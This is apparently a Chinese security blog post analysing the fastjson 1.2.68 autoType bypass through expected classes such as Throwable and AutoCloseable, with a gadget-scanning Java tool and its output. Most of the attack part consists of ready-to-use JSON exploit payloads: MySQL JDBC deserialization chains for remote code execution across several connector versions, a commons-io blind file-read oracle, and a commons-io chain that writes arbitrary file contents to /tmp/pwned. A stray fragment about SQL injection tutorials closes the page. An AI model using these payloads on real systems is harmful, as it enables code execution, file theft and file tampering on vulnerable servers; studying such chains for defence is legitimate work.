前言
1.2.68有safeMode,但是默认不是开启的,所以还是有风险
分析1
根据网上信息的描述,这次问题点主要是在checkAutoType参数期望类这个地方
看看哪些地方会调用checkAutoType方法并使用到期望类这个参数
发现主要是2个地方会使用到
-
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze -
com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer#deserialze
分析2
ThrowableDeserializer
分析
{"@type":"java.lang.Throwable", "a":"b"}
{"@type":"java.lang.Throwable", "@type":"org.example.App"}
{"@type":"java.lang.Throwable", "@type":"java.lang.Error"}
利用
-
限定了可以利用的类必须是Throwable的子类,不过异常类很少使用高危函数。。。所以很鸡肋吧 -
需要开启AST,更鸡肋了,随便找个不在黑名单的类都可以利用了
-
恶意类
package org.example;
import lombok.Data;
@Data
public class User extends Error{
private String test;
public void setTest(String test) {
System.out.println("call setTest");
System.out.println("test value: " + test);
this.test = test;
}
}
-
payload
{"@type":"java.lang.Throwable", "@type":"org.example.User", "test":"hahahaha"}
JavaBeanDeserializer
分析
package org.example;
public interface Test {
}
{"@type":"org.example.Test", "test":"hahahaha"}
{"@type":"org.example.Test", "@type":"org.example.Test1", "test":"hahahaha"}
利用
package org.example;
public class User implements AutoCloseable{
private String test;
public void setTest(String test) {
System.out.println("call setTest");
System.out.println("test value: " + test);
this.test = test;
}
@Override
public void close() throws Exception {
}
}
{"@type":"java.lang.AutoCloseable", "@type":"org.example.User", "test":"hahahaha"}
AutoCloseable深入使用
小知识1
public User(String test){
System.out.println(test);
}
{
"@type":"org.example.User",
"test": "123123"
}
小知识2
|
|
---|---|
|
|
|
|
|
|
|
|
-
org.example.User
package org.example;
public class User implements AutoCloseable{
private String test;
public void setTest(String test) {
System.out.println("call setTest");
System.out.println("test value: " + test);
this.test = test;
}
public String getTest() {
return test;
}
@Override
public void close() throws Exception {
}
}
-
org.example.T
package org.example;
public class T implements AutoCloseable{
private User user;
public void setUser(User user) {
System.out.println("call setUser");
this.user = user;
}
public User getUser() {
return user;
}
@Override
public void close() throws Exception {
}
}
-
poc
{
"user":
{
"@type":"java.lang.AutoCloseable",
"@type": "org.example.User",
"test": "test666"
},
"t":
{
"@type":"java.lang.AutoCloseable",
"@type": "org.example.T",
"user":{
"$ref": "$.user"
}
}
}
call setTest
test value: test666
call setUser
{"t":{"user":{"test":"test666"}},"user":{"$ref":"$.t.user"}}
好坑
{
'@type':"java.lang.AutoCloseable",
'@type':'java.io.FileWriter',
'file':'/tmp/nonexist',
'append':false
}
Exception in thread "main" com.alibaba.fastjson.JSONException: default constructor not found. class java.io.FileWriter
-
Org.example.User
package org.example;
public class User implements AutoCloseable{
public User(String file){
System.out.println(file);
}
public User( String file, boolean append){
System.out.println(append);
System.out.println(file);
}
@Override
public void close() throws Exception {
}
}
-
payload
{
'@type':"java.lang.AutoCloseable",
'@type':'org.example.User',
'file':'/tmp/test.txt',
'append':false
}
-
fastjson检查不到FileWriter的构造函数参数的参数名,所以不知道你调用构造函数中需要传入的参数名是什么,就不能生成对象 -
只有当这个类 class 字节码带有调试信息且其中包含有变量信息时才会有类构造函数的参数的参数名信息。。。
javap -l <class_name> | grep LocalVariableTable
-
看下我自己写的能识别到构造函数参数的参数名的User类,确实有参数名在里面
-
看下FileWriter类,确实没得参数名。。。
知识点3
利用链挖掘
-
获取一个包下所有的类 -
看看这些类是不是继承的AutoCloseable这个接口,使用isAssignableFrom()方法来判断 -
看看这些类的构造函数能否获取到参数名,或者有不有setXXX的方法 -
手动分析能否利用,看看构造函数或者setXXX函数中有不有可以利用的地方
-
需要其他的包按需添加
<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.68</version>
</dependency>
<!-- 获取所有子类方法所需要的依赖-->
<!-- 来源:https://zhuanlan.zhihu.com/p/355050724-->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>5.1.6.RELEASE</version>
</dependency>
package org.example;
import com.alibaba.fastjson.util.ASMUtils;
import org.springframework.core.io.Resource;
import org.springframework.core.io.support.PathMatchingResourcePatternResolver;
import org.springframework.core.type.classreading.SimpleMetadataReaderFactory;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.Arrays;
public class App {
public static void main(String[] args) throws IOException, ClassNotFoundException {
Class<?> aClass = Class.forName("java.lang.AutoCloseable"); // 超类
PathMatchingResourcePatternResolver resolver = new PathMatchingResourcePatternResolver();
// 1.加载資源 classpath*:com/hadluo/**/*.class : 找环境变量下的 org/apache/commons/io下的 所有.class文件
Resource[] resources = resolver.getResources("classpath*:org/apache/commons/io/**/*.class");
for (Resource res : resources) {
// 先获取resource的元信息,然后获取class元信息,最后得到 class 全路径
String clsName = new SimpleMetadataReaderFactory().getMetadataReader(res).getClassMetadata().getClassName();
// 2. 通过名称加载类
Class tmpClass = Class.forName(clsName);
// 3. 判断是不是 aClass 的子类
if (aClass.isAssignableFrom(tmpClass)) {
// 4. 判断能否识别构造函数参数名,直接copy的fastjson里面的代码
Constructor<?> creatorConstructor = null; // 构造函数
String[] paramNames = null; // 存放所有参数,只有这个构造函数的参数名会使用,其他的构造函数都不能用,参考com.alibaba.fastjson.util.JavaBeanInfo.build(java.lang.Class<?>, java.lang.reflect.Type, com.alibaba.fastjson.PropertyNamingStrategy, boolean, boolean, boolean)里面的逻辑(知识点3)
Constructor[] constructors = tmpClass.getDeclaredConstructors();
for (Constructor constructor : constructors) {
String[] lookupParameterNames = ASMUtils.lookupParameterNames(constructor);
if (lookupParameterNames == null || lookupParameterNames.length == 0) {
continue;
}
if (creatorConstructor != null
&& paramNames != null && lookupParameterNames.length <= paramNames.length) {
continue;
}
paramNames = lookupParameterNames;
creatorConstructor = constructor;
}
if (paramNames != null) {
System.out.println("构造函数可用:" + creatorConstructor + " <== 可用参数名:" + Arrays.toString(paramNames));
}
// 5. 判断是否有setXXX方法
Method[] declaredMethods = tmpClass.getDeclaredMethods();
for (Method method : declaredMethods) {
if (method.getName().startsWith("set")) {
System.out.println("setXXX可用:" + method);
}
}
}
}
}
}
构造函数可用:public org.apache.commons.io.input.AutoCloseInputStream(java.io.InputStream) <== 可用参数名:[in]
构造函数可用:public org.apache.commons.io.input.BOMInputStream(java.io.InputStream,boolean,org.apache.commons.io.ByteOrderMark[]) <== 可用参数名:[delegate, include, boms]
构造函数可用:public org.apache.commons.io.input.BoundedInputStream(java.io.InputStream,long) <== 可用参数名:[in, size]
setXXX可用:public void org.apache.commons.io.input.BoundedInputStream.setPropagateClose(boolean)
构造函数可用:public org.apache.commons.io.input.BrokenInputStream(java.io.IOException) <== 可用参数名:[exception]
构造函数可用:public org.apache.commons.io.input.CharSequenceInputStream(java.lang.CharSequence,java.lang.String,int) <== 可用参数名:[s, charset, bufferSize]
构造函数可用:public org.apache.commons.io.input.CharSequenceReader(java.lang.CharSequence) <== 可用参数名:[charSequence]
构造函数可用:public org.apache.commons.io.input.ClassLoaderObjectInputStream(java.lang.ClassLoader,java.io.InputStream) throws java.io.IOException,java.io.StreamCorruptedException <== 可用参数名:[classLoader, inputStream]
构造函数可用:public org.apache.commons.io.input.CloseShieldInputStream(java.io.InputStream) <== 可用参数名:[in]
构造函数可用:public org.apache.commons.io.input.CountingInputStream(java.io.InputStream) <== 可用参数名:[in]
构造函数可用:public org.apache.commons.io.input.NullInputStream(long,boolean,boolean) <== 可用参数名:[size, markSupported, throwEofException]
构造函数可用:public org.apache.commons.io.input.NullReader(long,boolean,boolean) <== 可用参数名:[size, markSupported, throwEofException]
构造函数可用:public org.apache.commons.io.input.ProxyInputStream(java.io.InputStream) <== 可用参数名:[proxy]
构造函数可用:public org.apache.commons.io.input.ProxyReader(java.io.Reader) <== 可用参数名:[proxy]
构造函数可用:public org.apache.commons.io.input.ReaderInputStream(java.io.Reader,java.lang.String,int) <== 可用参数名:[reader, charsetName, bufferSize]
构造函数可用:public org.apache.commons.io.input.ReversedLinesFileReader(java.io.File,int,java.lang.String) throws java.io.IOException <== 可用参数名:[file, blockSize, encoding]
构造函数可用:public org.apache.commons.io.input.SwappedDataInputStream(java.io.InputStream) <== 可用参数名:[input]
构造函数可用:public org.apache.commons.io.input.TaggedInputStream(java.io.InputStream) <== 可用参数名:[proxy]
构造函数可用:public org.apache.commons.io.input.TeeInputStream(java.io.InputStream,java.io.OutputStream,boolean) <== 可用参数名:[input, branch, closeBranch]
构造函数可用:public org.apache.commons.io.input.XmlStreamReader(java.io.InputStream,java.lang.String,boolean,java.lang.String) throws java.io.IOException <== 可用参数名:[is, httpContentType, lenient, defaultEncoding]
构造函数可用:public org.apache.commons.io.output.BrokenOutputStream(java.io.IOException) <== 可用参数名:[exception]
构造函数可用:public org.apache.commons.io.output.ByteArrayOutputStream(int) <== 可用参数名:[size]
构造函数可用:public org.apache.commons.io.output.CloseShieldOutputStream(java.io.OutputStream) <== 可用参数名:[out]
构造函数可用:public org.apache.commons.io.output.CountingOutputStream(java.io.OutputStream) <== 可用参数名:[out]
构造函数可用:private org.apache.commons.io.output.DeferredFileOutputStream(int,java.io.File,java.lang.String,java.lang.String,java.io.File) <== 可用参数名:[threshold, outputFile, prefix, suffix, directory]
构造函数可用:public org.apache.commons.io.output.FileWriterWithEncoding(java.io.File,java.lang.String,boolean) throws java.io.IOException <== 可用参数名:[file, encoding, append]
构造函数可用:public org.apache.commons.io.output.LockableFileWriter(java.io.File,java.nio.charset.Charset,boolean,java.lang.String) throws java.io.IOException <== 可用参数名:[file, encoding, append, lockDir]
构造函数可用:public org.apache.commons.io.output.ProxyOutputStream(java.io.OutputStream) <== 可用参数名:[proxy]
构造函数可用:public org.apache.commons.io.output.ProxyWriter(java.io.Writer) <== 可用参数名:[proxy]
构造函数可用:public org.apache.commons.io.output.StringBuilderWriter(java.lang.StringBuilder) <== 可用参数名:[builder]
构造函数可用:public org.apache.commons.io.output.TaggedOutputStream(java.io.OutputStream) <== 可用参数名:[proxy]
构造函数可用:public org.apache.commons.io.output.TeeOutputStream(java.io.OutputStream,java.io.OutputStream) <== 可用参数名:[out, branch]
构造函数可用:
public org.apache.commons.io.output.ThresholdingOutputStream(int) <== 可用参数名:[threshold]
构造函数可用:public org.apache.commons.io.output.WriterOutputStream(java.io.Writer,java.nio.charset.CharsetDecoder,int,boolean) <== 可用参数名:[writer, decoder, bufferSize, writeImmediately]
构造函数可用:
public org.apache.commons.io.output.XmlStreamWriter(java.io.File,java.lang.String) throws java.io.FileNotFoundException <== 可用参数名:[file, defaultEncoding]
{
"置空":{
"@type":"java.lang.AutoCloseable",
"@type": "org.apache.commons.io.output.FileWriterWithEncoding",
"file": "/Users/d4m1ts/Downloads/a.txt",
"encoding": "UTF-8"
},
"新建":{
"@type":"java.lang.AutoCloseable",
"@type": "org.apache.commons.io.output.FileWriterWithEncoding",
"file": "/Users/d4m1ts/Downloads/b.txt",
"encoding": "UTF-8"
}
}
链利用
Mysql JDBC RCE
mysql 5.1.x >= 5.1.11
<!-- https://mvnrepository.com/artifact/mysql/mysql-connector-java -->
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>5.1.11</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
Payload
{
"@type":"java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "127.0.0.1",
"portToConnectTo": 3306,
"info":
{
"user": "CommonsCollections5", // 利用链,自己在MySQL_Fake_Server的conf里面改,具体看他的readme
"password": "pass",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"NUM_HOSTS": "1"
},
"databaseToConnectTo": "dbname",
"url": ""
}
Mysqlconnector 6.0.2 or 6.0.3
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>6.0.2</version>
</dependency>
Payload
{
"@type":"java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection",
"proxy":
{
"connectionString":
{
"url": "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=CommonsCollections5"
}
}
}
Mysqlconnector 6.x or < 8.0.20
<!-- https://mvnrepository.com/artifact/mysql/mysql-connector-java -->
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.19</version>
</dependency>
{
"@type":"java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
"proxy":
{
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
"connectionUrl":
{
"@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
"masters":
[
{
"host": "127.0.0.1"
}
],
"slaves":
[],
"properties":
{
"host": "127.0.0.1",
"user": "CommonsCollections5",
"dbname": "dbname",
"password": "pass",
"queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true"
}
}
}
}
commons-io文件读取
<!-- https://mvnrepository.com/artifact/commons-io/commons-io -->
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.4</version>
</dependency>
{
"abc": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///Users/d4m1ts/Downloads/a.txt"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{
"charsetName": "UTF-8",
"bytes": [49] // 如果读出来的第一个字节是49,就返回,否则返回空
}]
},
"address": {
"$ref": "$.abc.BOM"
}
}
{
"abc": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///Users/d4m1ts/Downloads/a.txt"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{
"charsetName": "UTF-8",
"bytes": [49,50] // 如果读出来的第一个字节是49,第二个字节是50,就返回,否则返回空
}]
},
"address": {
"$ref": "$.abc.BOM"
}
}
commons-io2.x文件写入
{
"x":{
"@type":"com.alibaba.fastjson.JSONObject",
"input":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)"
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"/tmp/pwned",
"encoding":"UTF-8",
"append": false
},
"charsetName":"UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"trigger":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger2":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger3":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
}
}
{
"x":{
"@type":"com.alibaba.fastjson.JSONObject",
"input":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)",
"start":0,
"end":2147483647
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"/tmp/pwned",
"charsetName":"UTF-8",
"append": false
},
"charsetName":"UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"trigger":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"inputStream":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger2":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"inputStream":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger3":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"inputStream":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
}
总结
参考链接
-
fastjson 1.2.68 最新版本有限制 autotype bypass -
fastjson 1.2.68 autotype bypass 反序列化漏洞 gadget 的一种挖掘思路 -
Fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 写文件利用链挖掘分析 -
How I use a JSON Deserialization 0day to Steal Your Money On The Blockchain -
关于blackhat2021披露的fastjson1.2.68链
通过第一节给大家简单介绍了一下代码审计简单使用,那么第二节,我们来介绍一下,利用工具和手工进行漏洞挖掘。为了大家能对sql注入有更好的学习和收获。推荐大家几个学习php基础的网站Imooc.com http://www.w3school.com.cn/php/…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论